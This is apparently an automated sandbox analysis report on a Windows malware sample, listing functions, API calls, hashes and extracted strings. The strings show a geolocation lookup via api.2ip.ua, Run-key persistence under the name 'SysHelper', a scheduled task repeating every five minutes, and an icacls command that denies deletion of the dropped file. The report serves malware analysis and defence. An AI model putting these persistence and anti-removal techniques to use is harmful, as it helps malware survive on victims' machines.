Instruction ID: dc4847562801fc0ddf6b6f83b98b449a2c7d72fa0bbd40e40d31bb0fb4e3c8ed
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: 3B312872A01335ABDF237F68DC08B6EB796AF45B24F144425ED24EB285DBB48540CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 027F66D9 Relevance: 9.1, APIs: 6, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 027F66DD

Part of subcall function 027559BF: __calloc_crt.LIBCMT ref: 027559E2
Part of subcall function 027559BF: __initptd.LIBCMT ref: 02755A04

__calloc_crt.LIBCMT ref: 027F6700
__get_sys_err_msg.LIBCMT ref: 027F671E
__invoke_watson.LIBCMT ref: 027F673B
__get_sys_err_msg.LIBCMT ref: 027F676D
__invoke_watson.LIBCMT ref: 027F678B

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: __calloc_crt__get_sys_err_msg__invoke_watson$__getptd_noexit__initptd
String ID:
API String ID: 4066021419-0
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: 73845105b98905e338a7e461044b5c60de51c383bdb31d2c39940d38cecca916
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: 3D11C4726096256BEB626E25DC04B7BB39DDF00764F000466FF18A7340EB61DD404AF4

Uniqueness

Uniqueness Score: -1.00%

Function 02742670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 027426DB
_memset.LIBCMT ref: 02742A30
_memset.LIBCMT ref: 02742AC0

Strings

D, xrefs: 02742AC8

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 16e6a215fa8b91ce7577d2e90e1311320728031173746fae0e2735d1aabc8756
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: C2E15C71D0021AABDF25DFA0DD89FEEB7B8BF04304F1440A9EA09B6191EB746A45CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0273D8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0273D8EA

Strings

, xrefs: 0273DADB
(, xrefs: 0273DAE9
$, xrefs: 0273DAE2

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: d2a631e297d983bf06396d914e62f827106afda63615d174e154bf10c4140071
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 31919C71D00218ABEF22CFA0CC59BEEBBB5AF05308F244169D405772D2DBB65A48CF65

Uniqueness

Uniqueness Score: -1.00%

Function 02755CE1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 02755CF4

Strings

U, xrefs: 02755CFD

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _wcsnlen
String ID: U
API String ID: 3628947076-3372436214
Opcode ID: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction ID: e9b1e816194732fe67d5af0da77e8b87650ebec43c64f516783500b0414d0b08
Opcode Fuzzy Hash: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction Fuzzy Hash: 0E21083220832CAAEB009BB59C49BBAF39DDB45750F900165FD08D61D0FBB1E9448AA4

Uniqueness

Uniqueness Score: -1.00%

Function 0274A810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0274A858
_memset.LIBCMT ref: 0274A869
_memset.LIBCMT ref: 0274A87A

Strings

p2Q, xrefs: 0274A882

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 9674008cae5b07461fde3dc8d297b12ffdb317e7dcd82c6fcb43fdadeb1af3f6
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: D6F06538684750A5F7117750BC2A7857D817B31B08F004044D1142E2E0D3FD234C6BD9

Uniqueness

Uniqueness Score: -1.00%

Function 0277FBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0277FBF1

Part of subcall function 0276169C: std::exception::_Copy_str.LIBCMT ref: 027616B5

__CxxThrowException@8.LIBCMT ref: 0277FC06

Strings

TeM, xrefs: 0277FBFE
TeM, xrefs: 0277FBE7, 0277FBFB

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
String ID: TeM$TeM
API String ID: 3662862379-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: 1dc5f8c821b5db90e098ae6c8f9aca00ef6b2ffe54a825f35cf833cba61bf3a4
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 28D06779C0020DBBCB01EFA5D45DCDDBBB9AA04344B408466AD19A7241EA74A7498FD4

Uniqueness

Uniqueness Score: -1.00%

Function 0273D0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 0275197D: __wfsopen.LIBCMT ref: 02751988

_fgetws.LIBCMT ref: 0273D15C

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 67b2d3b2664bc68e087a719e507f05e028c6a517b678bfbb26814cb149d316db
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: D79192B2D00219DBCF32DFA4CC85BAEB7B6BF04314F140529E815A3242E776AA54CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0273D540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0273D77E
_malloc.LIBCMT ref: 0273D7B2
_malloc.LIBCMT ref: 0273D7C1
_fprintf.LIBCMT ref: 0273D815

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: a58ec8b3435f1cdd2beef41974992d5a497342081533cbe3bfc9288dbe0cd391
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: 05A141B1C00259DBEF12EFE4DC49BDEBB76AF15304F140028D90576292E7B65A48CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 02752AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 02752B2E
__read_nolock.LIBCMT ref: 02752BFE
__filbuf.LIBCMT ref: 02752C21
_memset.LIBCMT ref: 02752C65

Part of subcall function 02755BA8: __getptd_noexit.LIBCMT ref: 02755BA8

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: 2a493754fd8c02e8b73f7579b066095347328ccfd0755828540bc738747d2f5c
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: B451C270A017259BDB298F798884A6EF7B6AF40324F148329EC35962D2E7F19950CF44

Uniqueness

Uniqueness Score: -1.00%

Function 02771359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0277137D

Part of subcall function 02771A9D: __fltout2.LIBCMT ref: 02771AC6

__cftog_l.LIBCMT ref: 027713A3
__cftoe_l.LIBCMT ref: 027713D5

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: e0aa436ea19ad67d45ecb74bebcf31a3a6ccad442ad6b319dbafa94ae8dc4bb9
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: 8401443240024ABBCF125E88DC05CEE3F67BB19355B888415FA6D98930D336C9B2AB81

Uniqueness

Uniqueness Score: -1.00%

Function 027F7A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 027F7A4B

Part of subcall function 027F8140: ___BuildCatchObjectHelper.LIBCMT ref: 027F8172
Part of subcall function 027F8140: ___AdjustPointer.LIBCMT ref: 027F8189

_UnwindNestedFrames.LIBCMT ref: 027F7A62
___FrameUnwindToState.LIBCMT ref: 027F7A74
CallCatchBlock.LIBCMT ref: 027F7A98

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: 6a1e34a3b34a329af7006b1e9d415adabab4e408c0f212498496b0406798fb4a
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: F701D732004109BBDF52AF55DC04EEA7BBAEF48754F158118FA1866220D732E961DFA4

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: kOVwcHSfrR.exePID: 7808, Parent PID: 7384COMMON

Execution Graph

Execution Coverage:	2.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	36%
Total number of Nodes:	836
Total number of Limit Nodes:	84

Executed Functions

Function 00419F90 Relevance: 176.6, APIs: 65, Strings: 35, Instructions: 1565COMMON

Download Yara Rule

APIs

Part of subcall function 0040CF10: _memset.LIBCMT ref: 0040CF4A
Part of subcall function 0040CF10: InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
Part of subcall function 0040CF10: InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6

GetCurrentProcess.KERNEL32 ref: 00419FC4
GetLastError.KERNEL32 ref: 00419FD2
SetPriorityClass.KERNEL32(00000000,00000080), ref: 00419FDA
GetLastError.KERNEL32 ref: 00419FE4
GetModuleFileNameW.KERNEL32(00000000,?,00000400,00000400,?,?,00000000,0062B688,?), ref: 0041A0BB
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041A0C2
GetCommandLineW.KERNEL32(?,?), ref: 0041A161

Part of subcall function 004124E0: CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
Part of subcall function 004124E0: GetLastError.KERNEL32 ref: 00412509
Part of subcall function 004124E0: CloseHandle.KERNEL32 ref: 0041251C

Strings

C:\Program Files\Internet Explorer\, xrefs: 0041AF73
D:\Program Files (x86)\Internet Explorer\, xrefs: 0041B062
F:\, xrefs: 0041B397
x*P, xrefs: 0041ACE4
--Task, xrefs: 0041A2CD
I:\5d2860c89d774.jpg, xrefs: 0041B32F
7P, xrefs: 0041B164
D:\Program Files\Internet Explorer\, xrefs: 0041B0CB
IsTask, xrefs: 0041A1EE, 0041A299
IsNotAutoStart, xrefs: 0041A645
C:\Program Files (x86)\Internet Explorer\, xrefs: 0041AEA1
--Admin, xrefs: 0041A1B4, 0041A632
IsAutoStart, xrefs: 0041A1D0, 0041A273
list<T> too long, xrefs: 0041B669, 0041B673
%username%, xrefs: 0041B283
D:\Program Files (x86)\Google\, xrefs: 0041B085
D:\Windows\, xrefs: 0041AFF3
--Service, xrefs: 0041A30B
C:\Windows\, xrefs: 0041AE0F
D:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041B02E
D:\Program Files\Google\, xrefs: 0041B0EE
C:\Program Files\Mozilla Firefox\, xrefs: 0041AF2D
C:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041AE5B
C:\Program Files (x86)\Google\, xrefs: 0041AEE7
--ForNetRes, xrefs: 0041A22E
x2Q, xrefs: 0041A856
X1P, xrefs: 0041A485
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 0041A8B6
IsNotTask, xrefs: 0041A654
--AutoStart, xrefs: 0041A2EC
<, xrefs: 0041A67B
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 0041A8A0
D:\Program Files\Mozilla Firefox\, xrefs: 0041B0A8
runas, xrefs: 0041A6CE
C:\Program Files\Google\, xrefs: 0041AFB9

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: ErrorLast$FileInternetOpen$ClassCloseCommandCreateCurrentHandleLineModuleMutexNamePathPriorityProcessRemoveSpec_memset
String ID: IsNotAutoStart$ IsNotTask$%username%$--Admin$--AutoStart$--ForNetRes$--Service$--Task$<$C:\Program Files (x86)\Google\$C:\Program Files (x86)\Internet Explorer\$C:\Program Files (x86)\Mozilla Firefox\$C:\Program Files\Google\$C:\Program Files\Internet Explorer\$C:\Program Files\Mozilla Firefox\$C:\Windows\$D:\Program Files (x86)\Google\$D:\Program Files (x86)\Internet Explorer\$D:\Program Files (x86)\Mozilla Firefox\$D:\Program Files\Google\$D:\Program Files\Internet Explorer\$D:\Program Files\Mozilla Firefox\$D:\Windows\$F:\$I:\5d2860c89d774.jpg$IsAutoStart$IsTask$X1P$list<T> too long$runas$x*P$x2Q${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}$7P
API String ID: 2957410896-3144399390
Opcode ID: 5654f1f0d8902897548b635c0c3de12d41863b9e7f9f148f59327b5af1546f90
Instruction ID: ef0c4ad91a93ebed44a25fa424fadbe3f4bc75453965ff7ad5f6b92dd0de7051
Opcode Fuzzy Hash: 5654f1f0d8902897548b635c0c3de12d41863b9e7f9f148f59327b5af1546f90
Instruction Fuzzy Hash: 99D2F670604341ABD710EF21D895BDF77E5BF94308F00492EF48587291EB78AA99CB9B

Uniqueness

Uniqueness Score: -1.00%

Function 0040D240 Relevance: 58.5, APIs: 25, Strings: 8, Instructions: 702
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 0040D26C
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 0040D28F
CoCreateInstance.OLE32(004D506C,00000000,00000001,004D4FEC,?,?,00000000,000000FF), ref: 0040D2D5
VariantInit.OLEAUT32(?), ref: 0040D2F0
VariantInit.OLEAUT32(?), ref: 0040D309
VariantInit.OLEAUT32(?), ref: 0040D322
VariantInit.OLEAUT32(?), ref: 0040D33B
VariantClear.OLEAUT32(?), ref: 0040D397
VariantClear.OLEAUT32(?), ref: 0040D3A4
VariantClear.OLEAUT32(?), ref: 0040D3B1
VariantClear.OLEAUT32(?), ref: 0040D3C2
CoUninitialize.OLE32 ref: 0040D3D5

Strings

--Task, xrefs: 0040D8DD
RegisterTaskDefinition. Err: %X, xrefs: 0040DA11
%Y-%m-%dT%H:%M:%S, xrefs: 0040D790
Author Name, xrefs: 0040D4C8
PT5M, xrefs: 0040D5A1, 0040D66C
Trigger1, xrefs: 0040D6FA
Time Trigger Task, xrefs: 0040D43C, 0040D973
2030-05-02T08:00:00, xrefs: 0040D737

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit$Initialize$CreateInstanceSecurityUninitialize
String ID: %Y-%m-%dT%H:%M:%S$--Task$2030-05-02T08:00:00$Author Name$PT5M$RegisterTaskDefinition. Err: %X$Time Trigger Task$Trigger1
API String ID: 2496729271-1738591096
Opcode ID: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction ID: 4ad9c2e8017b41c765d67f99bb49247a0c13fc41f24acee5688789d455a97b09
Opcode Fuzzy Hash: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction Fuzzy Hash: 05526F70E00219DFDB10DFA8C858FAEBBB4EF49304F1481A9E505BB291DB74AD49CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00412220 Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 116
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32 ref: 00412235
CommandLineToArgvW.SHELL32(00000000,?), ref: 00412240
PathFindFileNameW.SHLWAPI(00000000), ref: 00412248
LoadLibraryW.KERNEL32(kernel32.dll), ref: 00412256
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041226A
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00412275
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 00412280
LoadLibraryW.KERNEL32(Psapi.dll), ref: 00412291
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041229F
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004122AA
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004122B5
K32EnumProcesses.KERNEL32(?,0000A000,?), ref: 004122CD
OpenProcess.KERNEL32(00000410,00000000,?), ref: 004122FE
K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 00412315
K32GetModuleBaseNameW.KERNEL32(00000000,?,?,00000400), ref: 0041232C
CloseHandle.KERNEL32(00000000), ref: 00412347

Strings

kernel32.dll, xrefs: 0041224E
Psapi.dll, xrefs: 0041228C
EnumProcessModules, xrefs: 0041226C, 004122A1
EnumProcesses, xrefs: 00412264, 00412299
GetModuleBaseNameW, xrefs: 00412277, 004122AC

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: AddressProc$CommandEnumLibraryLineLoadNameProcess$ArgvBaseCloseFileFindHandleModuleModulesOpenPathProcesses
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Psapi.dll$kernel32.dll
API String ID: 3668891214-3807497772
Opcode ID: 2e762e749b316a475bae0755eecf3fc9a9c12245de4757d4cc138c5fb7e97d1c
Instruction ID: 197cd9f83d52dd112842658ec983a676e251e24b3cd7e802a51fbc3a937a58d5
Opcode Fuzzy Hash: 2e762e749b316a475bae0755eecf3fc9a9c12245de4757d4cc138c5fb7e97d1c
Instruction Fuzzy Hash: A3315371E0021DAFDB11AFE5DC45EEEBBB8FF45704F04406AF904E2190DA749A418FA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040CF10 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 228
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040CF4A
InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6
InternetReadFile.WININET(00000000,?,00002800,?), ref: 0040CFCD
InternetCloseHandle.WININET(00000000), ref: 0040CFDA
InternetCloseHandle.WININET(00000000), ref: 0040CFDD

Strings

"country_code":", xrefs: 0040CFE1
https://api.2ip.ua/geo.json, xrefs: 0040CF79
Microsoft Internet Explorer, xrefs: 0040CF5A

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileRead_memset
String ID: "country_code":"$Microsoft Internet Explorer$https://api.2ip.ua/geo.json
API String ID: 1485416377-2962370585
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 63dc5d72282b855868e1768d03255ed744c0e271f8772f8e66d922d9032ce3a5
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 0F91B470D00218EBDF10DF90DD55BEEBBB4AF05308F14416AE4057B2C1DBBA5A89CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00411CD0 Relevance: 79.1, APIs: 36, Strings: 9, Instructions: 382
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
_memset.LIBCMT ref: 00411D3B
RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48
LoadLibraryW.KERNEL32(Shell32.dll,?,?), ref: 00411E99
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 00411EA5
GetCommandLineW.KERNEL32 ref: 00411EB4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 00411EBF
lstrcpyW.KERNEL32(?,00000000), ref: 00411ECE
PathFindFileNameW.SHLWAPI(?), ref: 00411EDB
UuidCreate.RPCRT4(?), ref: 00411EFC
UuidToStringW.RPCRT4(?,?), ref: 00411F14
RpcStringFreeW.RPCRT4(00000000), ref: 00411F64
PathAppendW.SHLWAPI(?,?), ref: 00411F83
CreateDirectoryW.KERNEL32(?,00000000), ref: 00411F8E
PathAppendW.SHLWAPI(?,?,?,?), ref: 0041202D
DeleteFileW.KERNEL32(?), ref: 00412036
CopyFileW.KERNEL32(?,?,00000000), ref: 0041204C
RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 0041206E
_memset.LIBCMT ref: 00412090
lstrcpyW.KERNEL32(?,005002FC), ref: 004120AA
lstrcatW.KERNEL32(?,?), ref: 004120C0
lstrcatW.KERNEL32(?," --AutoStart), ref: 004120CE
lstrlenW.KERNEL32(?), ref: 004120D7
RegSetValueExW.KERNEL32(00000000,SysHelper,00000000,00000002,?,00000000), ref: 004120F3
RegCloseKey.ADVAPI32(00000000), ref: 004120FC
_memset.LIBCMT ref: 00412120
SetLastError.KERNEL32(00000000), ref: 00412146
lstrcpyW.KERNEL32(?,icacls "), ref: 00412158
lstrcatW.KERNEL32(?,?), ref: 0041216D

Strings

SysHelper, xrefs: 00411D5B, 004120EB
icacls ", xrefs: 0041214C
" --AutoStart, xrefs: 004120C2
" --AutoStart, xrefs: 00411DD1
Shell32.dll, xrefs: 00411E94
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00411D06, 00412064
D, xrefs: 00412128
SHGetFolderPathW, xrefs: 00411E9F
" /deny *S-1-1-0:(OI)(CI)(DE,DC), xrefs: 0041216F

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: FilePath$_memsetlstrcatlstrcpy$AppendCloseCommandCreateLineOpenStringUuidValuelstrlen$AddressArgvCopyDeleteDirectoryErrorExistsFindFreeLastLibraryLoadNameProcQuery
String ID: " --AutoStart$" --AutoStart$" /deny *S-1-1-0:(OI)(CI)(DE,DC)$D$SHGetFolderPathW$Shell32.dll$Software\Microsoft\Windows\CurrentVersion\Run$SysHelper$icacls "
API String ID: 2589766509-1182136429
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 715e32bd1e023583792331b7dbf49be96a7b9f80df69a50876529e1503cb0a0b
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 51E14171D00219EBDF24DBA0DD89FEE77B8BF04304F14416AE609E6191EB786A85CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00423576 Relevance: 15.3, APIs: 10, Instructions: 258
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 004235B1

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

